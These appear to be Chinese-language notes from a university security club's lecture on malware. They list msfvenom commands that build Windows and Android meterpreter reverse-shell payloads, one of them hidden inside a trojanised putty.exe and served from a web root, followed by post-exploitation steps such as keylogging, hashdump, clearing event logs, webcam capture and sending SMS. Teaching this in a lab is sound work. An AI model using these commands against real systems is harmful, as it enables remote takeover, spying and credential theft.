---
# System prepended metadata

title: 1121_社課_7
tags: [鑑智實相, '1121']

---

---
title: 1121_社課_7
description: 惡意程式1
---
###### tags: '1121' '鑑智實相'


# 第七次社課：惡意程式1

:::info
簽到
B113040007 蔡誌桓
B103040001 孫世諭
B123012012 許瑋哲
B093012033 王勤
B123040039 陳彥維
B123245019 李姵萱
M113140010 羅子聘
M113140008 楊光宇
M123140017 梁芷萁
M123040020 陳守為
:::

[課程回饋](https://forms.gle/ZPScWdzv9i7766nZ9)
[txt](https://drive.google.com/file/d/10WYKS0bkJvsqtP1GcxpXVQu1bxyjAmc-/view?fbclid=IwAR3xVKaWLwcIPaHfA9pSah1tg-jbXIIvJwptdtaErafGa014IWO0Lf6QLms)
[課程簡報](https://drive.google.com/file/d/1Oi6-Blpu-6LM8Q3ttqleKpcDksAuS7pm/view?usp=sharing)



- >msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.223.130 LPORT=8888 -f exe > /var/www/html/virus.exe
    - -p: payload
    - LHOST/LPORT: kali linux
    - RHOST/RPORT: victim
    - -f: file type(生成的檔案)
    - \>: output一個檔案，名稱為virus.exe
    - /var/www/html: apache default path(容易被掛馬)

    - PORT(有可能是attacker)
        - 鐵支
        - 順子
        - 諧音
- screenshot
- keyscan_start
    - 鍵盤側錄(開始)
- keyscan_dump
    - 鍵盤側錄(取得)
- hashdump
- clearev
    - clear event log
    - 快but沒用
- some tools
    - password: john(john the ripper)
    - remote service: hydra
    - injection: sqlmap
    - wifi: air crack


| 編號 | windows | linux |
| ----- | ------- | -----  |
| admin | 500...  | 0...   |
| user  | 1000... | 1000...|

- >msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.223.130 LPORT=8888 R > /var/www/html/virus.apk
    - R: raw
- webcam_snap
    - 手機拍照(預設為後鏡頭)
- send_sms -t "test" -d "09xxxxxxxx"
    - 送簡訊("test")至09xxxxxxxx
- >msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.223.130 LPORT=8888 -f exe -k -x /home/kali/Downloads/putty.exe > /var/www/html/virus.exe
    - -x: 後面加上要順便執行的exe
    - -k: 以多執行緒同時run payload+exe